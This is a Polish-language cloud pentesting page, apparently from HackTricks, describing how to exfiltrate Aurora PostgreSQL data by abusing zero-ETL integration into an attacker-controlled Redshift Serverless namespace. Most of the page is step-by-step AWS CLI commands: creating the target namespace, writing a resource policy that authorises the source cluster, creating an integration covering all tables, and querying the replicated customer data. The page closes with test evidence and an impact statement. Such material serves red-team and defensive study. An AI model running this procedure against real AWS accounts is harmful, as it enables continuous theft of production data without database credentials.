Wykorzystaj integrację Aurora PostgreSQL zeroETL do ciągłej replikacji danych produkcyjnych do namespace Redshift Serverless, którym zarządzasz. Przy luźnej polityce zasobów Redshift, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego ARN klastra Aurora, atakujący może utworzyć kopię danych niemal w czasie rzeczywistym bez DB creds, snapshots ani wystawienia sieciowego.
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Create Redshift Serverless namespace + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
```
</details>
<details>
<summary>2) Skonfiguruj politykę zasobów Redshift, aby zezwolić na źródło Aurora</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
```
</details>
<details>
<summary>3) Utwórz klaster Aurora PostgreSQL (włącz Data API i replikację logiczną)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zeroETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
```
</details>
<details>
<summary>4) Utwórz integrację zeroETL z RDS</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
```
</details>
<details>
<summary>5) Materializuj i zapytuj zreplikowane dane w Redshift</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration" # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
```
</details>
Dowody zaobserwowane w teście:
- redshift describe-inbound-integrations: Status ACTIVE dla Integration arn:...377a462b-...
- SVV_INTEGRATION pokazał integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i stan PendingDbConnectState przed utworzeniem DB.
- Po CREATE DATABASE FROM INTEGRATION, wylistowanie tabel ujawniło schemat ztl i tabelę customers; selecting from ztl.customers zwróciło 2 wiersze (Alice, Bob).
Skutki: Ciągła, niemal w czasie rzeczywistym exfiltration wybranych tabel Aurora PostgreSQL do Redshift Serverless kontrolowanego przez atakującego, bez użycia poświadczeń bazy danych, kopii zapasowych ani dostępu sieciowego do klastra źródłowego.
{{#include ../../../banners/hacktricks-training.md}}